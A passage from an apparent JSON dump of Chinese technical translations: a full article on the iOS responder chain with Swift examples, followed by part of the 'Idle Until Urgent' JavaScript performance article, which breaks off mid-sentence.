[掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/iOS-Responder-Chain-UIResponder-UIEvent-UIControl-and-uses.md",
    "content": "> - 原文地址：[iOS Responder Chain: UIResponder, UIEvent, UIControl and uses](https://swiftrocks.com/understanding-the-ios-responder-chain.html)\n> - 原文作者：[Bruno Rocha](bruno@swiftrocks.com)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/iOS-Responder-Chain-UIResponder-UIEvent-UIControl-and-uses.md](https://github.com/xitu/gold-miner/blob/master/TODO1/iOS-Responder-Chain-UIResponder-UIEvent-UIControl-and-uses.md)\n> - 译者：[iWeslie](https://github.com/iWeslie)\n> - 校对者：[swants](https://github.com/swants)\n\n# iOS 响应者链 UIResponder、UIEvent 和 UIControl 的使用\n\n**当我用使用 UITextField 究竟谁是第一响应者？**\n**为什么 UIView 像 UIResponder 一样进行子类化？**\n**这其中的关键又是什么？**\n\n在 iOS 里，**响应者链** 是指 UIKit 生成的 UIResponder 对象组成的链表，它同时还是 iOS 里一切相关事件（例如触摸和动效）的基础。\n\n响应者链是你在 iOS 开发的世界中经常需要打交道的东西，并且尽管你很少需要在除了 `UITextField` 的键盘问题之外直接处理它。了解它的工作原理将让你解决事件相关的问题更加容易，或者说更加富有创造力，你甚至可以只依赖响应者链来进行架构。\n\n## UIResponder、UIEvent 和 UIControl\n\n简而言之，UIResponder 实例对象可以对随机事件进行响应并处理。iOS 中的许多东西诸如 UIView、UIViewController、UIWindow、UIApplication 和 UIApplicationDelegate。\n\n相反，`UIEvent` 代表一个单一并只含有一种类型和一个可选子类的 UIKit 事件，这个类型可以是触摸、动效、远程控制或者按压，对应的子类具体一点可能是设备的摇动。当检测到一个系统事件，例如屏幕上的点击，UIKit 内部创建一个 `UIEvent` 实例并且通过调用 `UIApplication.shared.sendEvent()` 把它派发到系统事件队列。当事件被从队列中取出时，UIKit 内部选出第一个可以处理事件的 `UIResponder` 并把它发送到对应的响应者。这个选择过程当事件类型不同的时候也会有所变化，其中触摸事件直接发送到被触摸的 View，其他种类的事件将会被派发给一个所谓的 **第一响应者**。\n\n为了处理系统事件，`UIResponder` 的子类可以通过重写一些对应的方法从而让它们可处理具体的 `UIEvent` 类型：\n\n```swift\nopen func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?)\nopen func touchesMoved(_ touches: Set<UITouch>, with event: UIEvent?)\nopen func touchesEnded(_ touches: Set<UITouch>, with event: UIEvent?)\nopen func touchesCancelled(_ touches: Set<UITouch>, with event: UIEvent?)\nopen func pressesBegan(_ presses: Set<UIPress>, with event: UIPressesEvent?)\nopen func pressesChanged(_ presses: Set<UIPress>, with event: UIPressesEvent?)\nopen func pressesEnded(_ presses: Set<UIPress>, with event: UIPressesEvent?)\nopen func pressesCancelled(_ presses: Set<UIPress>, with event: UIPressesEvent?)\nopen func motionBegan(_ motion: UIEvent.EventSubtype, with event: UIEvent?)\nopen func motionEnded(_ motion: UIEvent.EventSubtype, with event: UIEvent?)\nopen func motionCancelled(_ motion: UIEvent.EventSubtype, with event: UIEvent?)\nopen func remoteControlReceived(with event: UIEvent?)\n```\n\n在某种程度上，你可以将 `UIEvents` 视为通知。虽然 `UIEvents` 可以被子类化并且 `sendEvent` 可以被手动调用，但它们并不真正意味着可以这么做，至少不是通过正常方式。由于你无法创建自定义类型，派发自定义事件会出现问题，因为非预期的响应者可能会错误地 “处理” 你的事件。尽管如此，你仍然可以使用它们，除了系统事件，`UIResponder` 还可以以 Selector 的形式响应任意 “事件”。\n\n这种方法的诞生给 macOS 应用程序提供了一种简单的方法来响应 “菜单” 的操作，例如选择、复制还有粘贴，因为 macOS 中存在多个窗口使得简单的代理难以实现。在任何情况下，它们也可用于 iOS 以及自定义操作，这正是类似 `UIButton` 之类的 `UIControl` 可以在触摸后派发事件。看一下如下的一个按钮：\n\n```swift\nlet button = UIButton(type: .system)\nbutton.addTarget(myView, action: #selector(myMethod), for: .touchUpInside)\n```\n\n虽然 `UIResponder` 可以完全检测触摸事件，但处理它们并非易事。 那你要如何区分不同类型的触摸事件呢？\n\n这就是 `UIControl` 擅长的地方，这些 `UIView` 的子类把处理触摸事件的过程进行抽象，并揭示了为特定的触摸分配事件的能力。\n\n在内部，触摸此按钮会产生以下结果：\n\n```swift\nlet event = UIEvent(...) //包含触摸位置和属性的UIKit生成的触摸事件。\n//派发一个触摸事件。\n//通过 `hitTest()` 确定哪个 UIView 被 选中。\n//因为选择了 UIControl，所以直接调用：\nUIApplication.shared.sendAction(#selector(myMethod), to: myView, from: button, for: event)\n```\n\n当一个特定的目标被发送到 `sendAction` 时，UIKit 将直接尝试在所需的目标上调用所需的 Selector，如果它没有实现直接就崩溃，但是如果目标为 `nil` 又怎么办呢？\n\n```swift\nfinal class MyViewController: UIViewController {\n    @objc func myCustomMethod() {\n        print(\"SwiftRocks!\")\n    }\n\n    func viewDidLoad() {\n        UIApplication.shared.sendAction(#selector(myCustomMethod), to: nil, from: view, for: nil)\n    }\n}\n```\n\n如果你运行它，你会看到即使事件是从没有 target 的普通 `UIView` 发送的，`MyViewController` 的 `myCustomMethod` 也会被调用。\n\n当你没有指定 target 时，UIKit 将搜索能够处理此操作的 `UIResponder`，就像之前在处理简单的 `UIEvent` 示例中一样。在这种情况下，能够处理动作与以下 `UIResponder` 方法有关：\n\n```swift\nopen func canPerformAction(_ action: Selector, withSender sender: Any?) -> Bool\n```\n\n默认情况下，此方法只检查响应者是否实现了实际的方法。 “实现” 方法可以通过三种方式完成，具体取决于你需要多少信息（这适用于 iOS 中的任何原生 target/action 的控件）：\n\n```swift\nfunc myCustomMethod()\nfunc myCustomMethod(sender: Any?)\nfunc myCustomMethod(sender: Any?, event: UIEvent?)\n```\n\n现在，如果响应者没有实现该方法怎么办？在这种情况下，UIKit 就会使用以下 `UIResponder` 方法来确定如何继续：\n\n```swift\nopen func target(forAction action: Selector, withSender sender: Any?) -> Any?\n```\n\n默认情况下，这将返回 **另一个可能可以** 处理所需的操作的 `UIResponder`。此步骤将重复执行，直到处理完事件或没有其他选择为止。但是响应者如何知道把操作的路由导向谁呢？\n\n## 响应者链\n\n如开头所述，UIKit 通过动态管理 `UIResponder` 对象的链表来处理这个问题。所谓的 **第一响应者** 只是链表的头节点，如果响应者无法处理特定的事件，则事件被递归地发送给链表的下一个响应者，直到某个响应者可以处理该事件或者链表遍历结束。\n\n虽然查看实际的第一响应者是受 `UIWindow` 中的私有 `firstResponder` 属性的保护，但你可以通过检查 `next` 属性是否有值来检查任何给定响应者的响应者链：\n\n```swift\n extension UIResponder {\n    func responderChain() -> String {\n        guard let next = next else {\n            return String(describing: self)\n        }\n        return String(describing: self) + \" -> \" + next.responderChain()\n    }\n}\n\nmyViewController.view.responderChain()\n// MyView -> MyViewController -> UIWindow -> UIApplication -> AppDelegate\n```\n\n![](https://i.imgur.com/922BVYT.png)\n\n在上一个 `UIViewController` 处理 action 的例子中，UIKit 首先将事件发送给 `UIView` 第一响应者，但由于它没有实现 `myCustomMethod`，view 将事件发给下一个响应者，正好下一个 `UIViewController` 实现了所需方法。\n\n虽然在大多数情况下，响应者链符合子视图的结构顺序，但你可以对其进行自定义以更改常规流程顺序。除了能够重写 `next` 属性以返回其他内容之外，你还可以通过调用 `becomeFirstResponder()` 强制 `UIResponder` 成为第一响应者，并通过调用 `resignFirstResponder()` 来取消。这通常与 `UITextField` 结合使用以显示键盘，`UIResponders` 可以定义一个可选的 `inputView` 属性，使得键盘仅在它是第一响应者时显示。\n\n## 响应者链自定义用途\n\n虽然响应者链完全由 UIKit 处理，但你可以使用它来帮助解决通信或代理中的问题。\n\n在某种程度上，您可以将 `UIResponder` 的操作视为一次性通知。想想任何一个应用程序，几乎每个 view 都可以添加闪烁效果。来导航用户在教程中如何操作。当触发此操作时，如何确保只有当前活动的视图闪烁呢？可能的解决方案如下之一是使每个 view 遵循一个协议，或者使用除了 `\"currentActiveView\"` 之外每个 view 都需要忽略的通知，但响应者操作允许你不通过代理并用最少的编码来实现这一点：\n\n```swift\nfinal class BlinkableView: UIView {\n    override var canBecomeFirstResponder: Bool {\n        return true\n    }\n\n    func select() {\n        becomeFirstResponder()\n    }\n\n    @objc func performBlinkAction() {\n        //闪烁动画\n    }\n}\n\nUIApplication.shared.sendAction(#selector(BlinkableView.performBlinkAction), to: nil, from: nil, for: nil)\n//将精确地让最后一个调用了 select() 的 BlinkableView 进行闪烁。\n```\n\n这与常规通知非常相似，不同之处在于通知会触发注册它们的每个对象，而这个方法只会触发在响应链上最先被查找到的 BlinkableView 对象。\n\n如前所述，甚至可以用此方法进行架构。这是 Coordinator 结构的框架，它定义了一个自定义类型的事件并将自身注入到响应者链中：\n\n```swift\nfinal class PushScreenEvent: UIEvent {\n\n    let viewController: CoordenableViewController\n\n    override var type: UIEvent.EventType {\n        return .touches\n    }\n\n    init(viewController: CoordenableViewController) {\n        self.viewController = viewController\n    }\n}\n\nfinal class Coordinator: UIResponder {\n\n    weak var viewController: CoordenableViewController?\n\n    override var next: UIResponder? {\n        return viewController?.originalNextResponder\n    }\n\n    @objc func pushNewScreen(sender: Any?, event: PushScreenEvent) {\n        let new = event.viewController\n        viewController?.navigationController?.pushViewController(new, animated: true)\n    }\n}\n\nclass CoordenableViewController: UIViewController {\n\n    override var canBecomeFirstResponder: Bool {\n        return true\n    }\n\n    private(set) var coordinator: Coordinator?\n    private(set) var originalNextResponder: UIResponder?\n\n    override var next: UIResponder? {\n        return coordinator ?? super.next\n    }\n\n    override func viewDidAppear(_ animated: Bool) {\n        //在 viewDidAppear 填写信息以确保 UIKit\n        //已配置此 view 的下一个响应者。\n        super.viewDidAppear(animated)\n        guard coordinator == nil else {\n            return\n        }\n        originalNextResponder = next\n        coordinator = Coordinator()\n        coordinator?.viewController = self\n    }\n}\n\nfinal class MyViewController: CoordenableViewController {\n    //...\n}\n\n//在 app 的起其他任何位置：\n\nlet newVC = NewViewController()\nUIApplication.shared.push(vc: newVC)\n```\n\n这让 `CoordenableViewController` 都持有对其原始下一个响应者（window）的引用，但是它重写了 `next` 让它指向 `Coordinator`，而后者又将 window 指向下一个响应者。\n\n```swift\n// MyView -> MyViewController -> **Coordinator** -> UIWindow -> UIApplication -> AppDelegate\n```\n\n这允许 `Coordinator` 接收系统事件，并通过定义一个新的包含了有关新 view controller 信息的 `PushScreenEvent`，我们可以调用由这些 `Coordinators` 处理的 `pushNewScreen` 事件来刷新屏幕。\n\n有了这个结构，`UIApplication.shared.push(vc: newVC)` 可以在 app 中的 **任何地方** 调用，而不需要单个代理或单例，因为 UIKit 将确保只通知当前的 `Coordinator` 这个事件，这得多亏了响应者链。\n\n这里显示的例子非常理论化，但我希望这有助于你理解响应者链的目的和用途。\n\n你可以在 Twitter 上关注本文作者 — [@rockthebruno](https://twitter.com/rockthebruno)，有更多建议也可以分享。\n\n## 官方参考文档\n\n [使用响应者和响应者链来处理事件](https://developer.apple.com/documentation/uikit/touches_presses_and_gestures/using_responders_and_the_responder_chain_to_handle_events)\n- [UIResponder](https://developer.apple.com/documentation/uikit/uiresponder)\n- [UIEvent](https://developer.apple.com/documentation/uikit/uievent)\n- [UIControl](https://developer.apple.com/documentation/uikit/uievent)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n------\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/idle-until-urgent.md",
    "content": "> * 原文地址：[Idle Until Urgent](https://philipwalton.com/articles/idle-until-urgent/?utm_source=mybridge&utm_medium=blog&utm_campaign=read_more)\n> * 原文作者：[PHILIP WALTON](https://philipwalton.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/idle-until-urgent.md](https://github.com/xitu/gold-miner/blob/master/TODO1/idle-until-urgent.md)\n> * 译者：[Ivocin](https://github.com/Ivocin)\n> * 校对者：[xilihuasi](https://github.com/xilihuasi)，[新舰同学 Xekin](https://github.com/Xekin-FE)\n\n几周前，我开始查看我网站的一些性能指标。具体来说，我想看看我的网站在最新的性能指标 —— [首次输入延迟](https://developers.google.com/web/updates/2018/05/first-input-delay)（FID）上的表现如何。我的网站只是一个博客（并没有运行很多的 JavaScript），所以我原本预期会得到相当不错的结果。\n\n用户一般对于小于 100 毫秒的输入延迟[没有感知](https://developers.google.com/web/fundamentals/performance/rail#ux)，因此我们推荐的性能目标（以及我希望在我的分析中看到的数字）是对于 99％ 的页面加载，FID 小于 100 毫秒。\n\n令我惊讶的是，我网站 99% 的页面的 FID 在 254 毫秒以内。我是个完美主义者，尽管结果不算很糟糕，但我却无法对这个结果置之不理。我一定得把它搞定！\n\n简而言之，在不删除网站的任何功能的情况下，我把 99% 页面的 FID 降到了 100 毫秒以内。但我相信读者朋友们更感兴趣的是：\n\n*   我是**如何**诊断问题的。\n*   我采用了**什么**具体的策略和技术。\n\n说到上文中的第二点，当时我试图解决我的问题时，偶然发现了一个非常有趣的性能策略，特别想分享给大家（这也是我写这篇文章的主要原因）。\n\n我把这个策略称作：**空闲执行，紧急优先**。\n\n## 我的性能问题\n\n首次输入延迟（FID）是一个网站性能指标，指用户与网站[首次交互](https://developers.google.com/web/updates/2018/05/first-input-delay#what_counts_as_a_first_input)（像我这样的博客，最有可能的首次交互是点击链接）和浏览器响应此交互（请求加载下一页面）之间的时间。\n\n存在延迟是由于浏览器的主线程正在忙于做其他事情（通常是在执行 JavaScript 代码）。因此，要诊断这个高于预期的 FID，我们首先需要在网站加载时启动性能跟踪（启用 CPU 降频和网络限速），然后在主线程上找到耗时长的任务。一旦确定了这些耗时长的任务，我们就可以尝试将它们拆解为更小的任务。\n\n以下是我在对网站启用性能跟踪后的发现：\n\n[![我的网站加载时的 JavaScript 性能跟踪图（启用网络限速/ CPU 降频）](https://philipwalton.com/static/idle-until-urget-before-9bc2ecd0b0.png)](https://philipwalton.com/static/idle-until-urget-before-1400w-efc9f3a53c.png)\n\n我的网站加载时的 JavaScript 性能跟踪图（启用网络限速和 CPU 降频）。\n\n可以注意到，主要脚本包在浏览器中单独执行时，它需要耗时 233 毫秒才能完成。\n\n[![运行我网站的主要脚本包耗时 233 毫秒](https://philipwalton.com/static/idle-until-urget-before-eval-1d68f2dff6.png)](https://philipwalton.com/static/idle-until-urget-before-eval-1400w-7a455de908.png)\n\n运行我网站的主要脚本包耗时 233 毫秒。\n\n在这些代码中，一部分来自 webpack 样板文件和 babel polyfill，但大多数代码来自我脚本的 `main()` 入口函数，它本身需要 183 毫秒才能完成：\n\n[![执行我网站的 `main()` 入口函数耗时 183 毫秒。](https://philipwalton.com/static/idle-until-urget-before-main-59f7c95e33.png)](https://philipwalton.com/static/idle-until-urget-before-main-1400w-08fe4dd1c5.png)\n\n执行我网站的 `main()` 入口函数耗时 183 毫秒。\n\n这并不像是我在 `main()` 函数中做了什么荒谬的事情。在 `main()` 函数中，我先初始化了我的 UI 组件，然后运行了我的 `analytics` 方法：\n\n```\nconst main = () => {\n  drawer.init();\n  contentLoader.init();\n  breakpoints.init();\n  alerts.init();\n\n  analytics.init();\n};\n\nmain();\n```\n\n那么是什么花了如此长时间运行？\n\n我们继续来看一下这个火焰图的尾部，可以看到没有一个函数占据了大部分时间。绝大多数函数耗时不到 1 毫秒，但是当你将它们全部加起来时，在单个同步调用堆栈中，运行它们却需要超过 100 毫秒。\n\nJavaScript 就像被“千刀万剐”了一样。\n\n由于这些功能全都作为单个任务的一部分运行，因此浏览器必须等到此任务完成才能响应用户的交互。一个十分明显的解决方案是将这些代码拆解为多个任务，但这说起来容易做起来难。\n\n乍一看，明显的解决方案是将 `main()` 函数中的每个组件分配优先级（它们实际上已经按优先级顺序排列了），立即初始化优先级最高的组件，然后将其他组件的初始化推迟到后续任务中。\n\n虽然这可能有一些作用，但它的可操作行并不强，而且难以应用到大型网站中。原因如下：\n\n*   推迟 UI 组件初始化的方法仅在组件尚未渲染时才有用。推迟初始化组件的方法会造成风险：用户有可能遇到组件没有渲染完成的情况。\n*   在许多情况下，所有 UI 组件要么同等重要，要么彼此依赖，因此它们都需要同时进行初始化。\n*   有时单个组件需要足够长的时间来初始化，即使它们各自在自己的任务中运行，也会阻塞主线程。\n\n实际情况是，通常我们很难让每个组件在各自的任务中初始化，而且这种做法往往不可能实现。我们经常需要的是在每个组件**内部**的初始化过程中拆解任务。\n\n### 贪婪的组件\n\n从下面的性能跟踪图可以看出，我们是否真的需要把组件初始化代码进行拆分，让我们来看一个比较好的例子：在 `main()` 函数的中间，你会看到我的一个组件使用了 [Intl.DateTimeFormat](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat) API：\n\n[![创建一个 Intl.DateTimeFormat 实例需要 13.47 毫秒！](https://philipwalton.com/static/idle-until-urget-before-date-time-format-252558f2ab.png)](https://philipwalton.com/static/idle-until-urget-before-date-time-format-1400w-c67615763f.png)\n\n创建一个 `Intl.DateTimeFormat` 实例需要 13.47 毫秒！\n\n创建此对象需要 13.47 毫秒！\n\n问题是，虽然 `Intl.DateTimeFormat` 实例是在组件的构造函数中创建的，但实际上在其他组件用它来格式化日期之前，它都没有被使用过。可是由于该组件不知道何时会引用 `Int.DateTimeFormat` 对象，因此它选择立即初始化该对象。\n\n但这是正确的代码求值策略吗？如果不是，那什么是正确的代码求值策略？\n\n## 代码求值策略\n\n在选择[求值策略](https://en.wikibooks.org/wiki/Introduction_to_Programming_Languages/Evaluation_Strategies)时，大多数开发人员会从如下两种策略中做出选择：\n\n*   **[立即求值](https://en.wikipedia.org/wiki/Eager_evaluation)：** 你可以立即运行耗时的代码。\n*   **[惰性求值](https://en.wikipedia.org/wiki/Lazy_evaluation)：** 等到你的程序里的其他部分需要这段耗时代码的结果时，再去运行它。\n\n这两种求值策略可能是目前最受欢迎的，但在我重构了我的网站后，我认为这两个策略可能是最糟糕两个选择。\n\n### 立即求值的缺点\n\n从我网站上的性能问题可以很好地看出，立即求值有一个缺点：如果用户在代码运行时与你的页面进行交互，浏览器必须等到代码运行完成后才能做出响应。\n\n当你的页面**看起来**已经准备好响应用户输入却无法响应时，这个问题尤为突出。用户会感觉你的页面很卡，甚至以为页面彻底崩溃了。\n\n预先运行的代码越多，页面交互所需的时间就越长。\n\n### 惰性求值的缺点\n\n如果立即运行所有代码是不好的，那么一个显而易见的解决方案就是等到需要的时候再运行。这样就不会提前运行不必要的代码，尤其是一些从未被使用过的代码。\n\n当然，等到用户需要的时候再运行的问题是：你必须**确保**你的高耗时的代码能够阻止用户输入。\n\n对于某些情况（比如另外加载网络资源），将其推迟到用户请求时再加载是有意义的。但对于你的大多数代码（例如从 localStorage 读取数据，处理大型数据集等等）而言，你肯定希望它在用户交互**之前**就执行完毕。\n\n### 其他选择\n\n其他可选择的求值策略介于立即求值和惰性求值之间。我不确定以下两种策略是否有官方名称，我把它们称作延迟求值和空闲求值：\n\n*   **延迟求值：** 使用 `setTimeout` 之类的函数，在后续任务中来执行你的代码。\n*   **空闲求值：** 一种延迟求值策略，你可以使用像 [requestIdleCallback](https://developers.google.com/web/updates/2015/08/using-requestidlecallback) 这样的 API 来组织代码运行。\n\n这两个选项通常都比立即求值或惰性求值好，因为它们不太可能由于单个长任务阻塞用户输入。这是因为，虽然浏览器不能中断任何单个任务来响应用户输入（这样做很可能会破坏网站），但是它们**可以**在计划任务队列之间运行任务，而且大多数浏览器会**优先处理**由用户输入触发的任务。这称为[输入优先](https://blogs.windows.com/msedgedev/2017/06/01/input-responsiveness-event-loop-microsoft-edge/)。\n\n换句话说：如果确保所有代码都运行在耗时短、不同的任务中（最好[小于 50 毫秒](https://developers.google.com/web/fundamentals/performance/user-centric-performance-metrics#long_tasks)），你的代码就再也不会阻塞用户输入了。\n\n**重要！** 虽然浏览器能够在任务队列中优先执行输入回调函数，但是浏览器**无法**将这些输入回调函数在排列好的微任务之前运行。由于 promise 和 `async` 函数作为微任务运行，将你的同步代码转换为基于 promise 的代码不会起到缓解用户输入阻塞的作用。\n\n如果你不熟悉任务和微任务之间的区别，我强烈建议你观看我的同事杰克[关于事件循环](https://youtu.be/cCOL7MC4Pl0)的精彩演讲。\n\n鉴于我刚才所说的，可以使用 `setTimeout()` 和 `requestIdleCallback()` 来重构我的 `main()` 函数，将我的初始化代码拆解为单独的任务：\n\n```\nconst main = () => {\n  setTimeout(() => drawer.init(), 0);\n  setTimeout(() => contentLoader.init(), 0);\n  setTimeout(() => breakpoints.init(), 0);\n  setTimeout(() => alerts.init(), 0);\n\n  requestIdleCallback(() => analytics.init());\n};\n\nmain();\n```\n\n然而，虽然这比以前更好（许多小任务 vs. 一个长任务），正如我上文解释的那样，它可能还不够好。例如，如果我延迟我 UI 组件（特别是 `contentLoader` 和 `drawer`）的初始化过程，虽然它们几乎不会阻塞用户输入，但是当用户尝试与它们交互时，它们也存在未准备好的风险！\n\n虽然使用 `requestIdleCallback()` 来延迟我的 `analytics` 方法可能是一个好主意，但在下一个空闲时间之前我关心的任何交互都将被遗漏。而且如果在用户离开页面之前，浏览器都没有空闲时间，这些回调函数可能永远不会运行！\n\n因此，如果所有这些求值策略都有缺点，那么我们该作何选择呢？\n\n## 空闲执行，紧急优先\n\n在长时间思考这个问题之后，我意识到我**真正**想要的求值策略是：先把代码推迟到空闲时间执行，但是一旦代码被调用则立即执行。换句话说：“空闲执行，紧急优先”。\n\n“空闲执行，紧急优先”的策略回避了我在上一节中指出的大多数缺点。在最坏的情况下，它与延迟计算具有完全相同的性能特征；在最好的情况下，它完全不会阻塞用户交互，因为在空闲时间里，代码都已经执行完毕了。\n\n我还得提一点，这个策略既适用于单任务（在空闲时间求值），也适用于多任务（创建一个有序的任务队列，可以空闲时间运行队列中的任务）。我先解释一下单任务（空闲值）变体，因为它更容易理解。\n\n### 空闲值\n\n我在上文提到过，初始化 `Int.DateTimeFormat` 对象可能非常耗时，因此若不需要立即调用该实例，最好在空闲时间去初始化。当然，一旦**需要它**，你就希望它已经存在了。所以这是一个可以用“空闲执行，紧急优先”策略来解决的完美的例子。\n\n如下是我们重构以使用新策略的简化版组件的例子：\n\n```\nclass MyComponent {\n  constructor() {\n    addEventListener('click', () => this.handleUserClick());\n\n    this.formatter = new Intl.DateTimeFormat('en-US', {\n      timeZone: 'America/Los_Angeles',\n    });\n  }\n\n  handleUserClick() {\n    console.log(this.formatter.format(new Date()));\n  }\n}\n```\n\n上面的 `MyComponent` 实例在其构造函数中做了两件事：\n\n*   为用户交互添加事件侦听器。\n*   创建 `Intl.DateTimeFormat` 对象。\n\n该组件很好地说明了为什么我们经常需要在单个组件**内部**拆解任务（而不仅仅在组件级别拆解任务）。\n\n在这种情况下，事件监听器立即运行非常重要，但在事件处理函数需要之前，创建 `Intl.DateTimeFormat` 实例是不必要的。当然我们也不想在事件处理函数中创建`Intl.DateTimeFormat` 对象，因为这样会使事件处理函数变得很慢。\n\n下面就是使用“空闲执行，紧急优先”策略修改后的代码。需要注意的是，这里使用了 `IdleValue` 帮助类，后续我会进行讲解：\n\n```\nimport {IdleValue} from './path/to/IdleValue.mjs';\n\nclass MyComponent {\n  constructor() {\n    addEventListener('click', () => this.handleUserClick());\n\n    this.formatter = new IdleValue(() => {\n      return new Intl.DateTimeFormat('en-US', {\n        timeZone: 'America/Los_Angeles',\n      });\n    });\n  }\n\n  handleUserClick() {\n    console.log(this.formatter.getValue().format(new Date()));\n  }\n}\n```\n\n如你所见，此代码和先前的版本没有太大的区别，但在新代码中，我没有将 `this.formatter` 赋值给新的 `Intl.DateTimeFormat` 对象，而是将 `this.formatter` 赋值给了 `IdleValue` 对象，在 `IdleValue` 内部进行 `Intl.DateTimeFormat` 的初始化过程。\n\n`IdleValue` 类的工作方式是调度初始化函数，使其在浏览器的下一个空闲时间运行。如果空闲时间在引用 `IdleValue` 实例之前，则不会发生阻塞，而且可以在请求时立即返回该值。但另一方面，如果在下一个空闲时间**之前**引用了 `IdleValue` 实例，则取消初始化函数在空闲时间中的调度任务，并且立即运行初始化函数。\n\n下面是如何实现 `IdleValue` 类的要点（注意：我已经发布了这段代码，它是[`idlize` 包](https://github.com/GoogleChromeLabs/idlize)的一部分，`idlize` 里面包含了本文出现的所有帮助类)：\n\n```\nexport class IdleValue {\n  constructor(init) {\n    this._init = init;\n    this._value;\n    this._idleHandle = requestIdleCallback(() => {\n      this._value = this._init();\n    });\n  }\n\n  getValue() {\n    if (this._value === undefined) {\n      cancelIdleCallback(this._idleHandle);\n      this._value = this._init();\n    }\n    return this._value;\n  }\n\n  // ...\n}\n```\n\n虽然在上面的示例中包含 `IdleValue` 类并不需要很多修改，但是它在技术上改变了公共 API（`this.formatter` vs. `this.formatter.getValue()`）。\n\n如果你无法修改公共 API，但是还想要使用 `IdleValue` 类，则可以将 `IdleValue` 类与 ES2015 的 getters 一起使用：\n\n```\nclass MyComponent {\n  constructor() {\n    addEventListener('click', () => this.handleUserClick());\n\n    this._formatter = new IdleValue(() => {\n      return new Intl.DateTimeFormat('en-US', {\n        timeZone: 'America/Los_Angeles',\n      });\n    });\n  }\n\n  get formatter() {\n    return this._formatter.getValue();\n  }\n\n  // ...\n}\n```\n\n或者，如果你不介意抽象一点，你可以使用 [`defineIdleProperty()`](https://github.com/GoogleChromeLabs/idlize/blob/master/docs/defineIdleProperty.md) 帮助类（底层使用的是 `Object.defineProperty()`）：\n\n```\nimport {defineIdleProperty} from './path/to/defineIdleProperty.mjs';\n\nclass MyComponent {\n  constructor() {\n    addEventListener('click', () => this.handleUserClick());\n\n    defineIdleProperty(this, 'formatter', () => {\n      return new Intl.DateTimeFormat('en-US', {\n        timeZone: 'America/Los_Angeles',\n      });\n    });\n  }\n\n  // ...\n}\n```\n\n对于运行非常耗时的个别属性值，没有理由不使用此策略，特别是你不用为了使用此策略而去修改你的 API！\n\n虽然这个例子使用了 `Intl.DateTimeFormat` 对象，但如下情况使用本策略也是一个好的选择：\n\n*   处理大量数据集。\n*   从 localStorage（或 cookie）中获取值。\n*   运行 `getComputedStyle()`、`getBoundingClientRect()` 或任何其他可能需要在主线程上重绘样式或布局的 API。\n\n### 空闲任务队列\n\n上文中的技术适用于可以通过单个函数计算出来的属性，但在某些情况下，逻辑可能无法写到单个函数里，或者，即使技术上可行，您仍然希望将其拆分为更小的一些函数，以免其长时间阻塞主线程。\n\n在这种情况下，我们真正需要的是一种队列，在浏览器有空闲时间时，可以安排多个任务（函数）按照顺序运行。队列将在可能的情况下运行任务，并且当需要回到浏览器时（比如用户正在进行交互）能够暂停执行任务。\n\n为了解决这个问题，我构建了一个 [`IdleQueue`](https://github.com/GoogleChromeLabs/idlize) 类，可以像这样使用它：\n\n```\nimport {IdleQueue} from './path/to/IdleQueue.mjs';\n\nconst queue = new IdleQueue();\n\nqueue.pushTask(() => {\n  // 一些耗时的函数可以在空闲时间运行...\n});\n\nqueue.pushTask(() => {\n  // 其他一些依赖上面函数的任务\n  // 耗时函数已经执行...\n});\n```\n\n**注意：** 将同步的 JavaScript 代码拆解单独的任务和[代码分割](https://developers.google.com/web/fundamentals/performance/optimizing-javascript/code-splitting/)不同：前者被拆解的任务为可作为任务队列的一部分，并异步运行；而代码分割则是将较大的 JavaScript 包拆分为较小的文件的过程（它对于提高性能也很重要）。\n\n与上面提到的空闲时间初始化属性的策略一样，空闲任务队列也可以在需要立刻得到结果的情况下立即运行（“紧急”情况）。\n\n同样，最后一点非常重要；不仅仅因为有时我们需要尽快计算出某些结果，还有一个原因是我们通常都集成了同步的第三方 API，我们需要能够同步运行任务，以保证兼容性。\n\n在理想的情况下，所有 JavaScript API 都是非阻塞的、异步的、代码量小的，并且由能够返回主线程。但在实际情况下，由于遗留的代码库或集成了无法控制的第三方库，我们通常别无选择，只能使用同步。\n\n正如我之前所说，这是“空闲执行，紧急优先”策略的巨大优势之一。它可以轻松应用于大多数程序，而无需大规模重写架构。\n\n### 保证紧急任务执行\n\n我在上文提到过，`requestIdleCallback()` 不能保证回调函数一定会执行。这也是我在与开发人员讨论 `requestIdleCallback()` 时，得到的他们不使用 `requestIdleCallback()` 的主要原因。在许多情况下，代码可能无法运行足以成为不使用它的理由 —— 开发人员宁愿保险地保持代码同步（即使会发生阻塞）。\n\n网站分析代码就是一个很好的例子。网站分析代码的问题在于，很多情况下，在页面卸载时，网站分析代码就要运行（例如，跟踪外链点击等），在这种情况下，显然使用 `requestIdleCallback()` 不合适，因为回调函数根本不会执行。而且由于开发人员不清楚分析库的 API 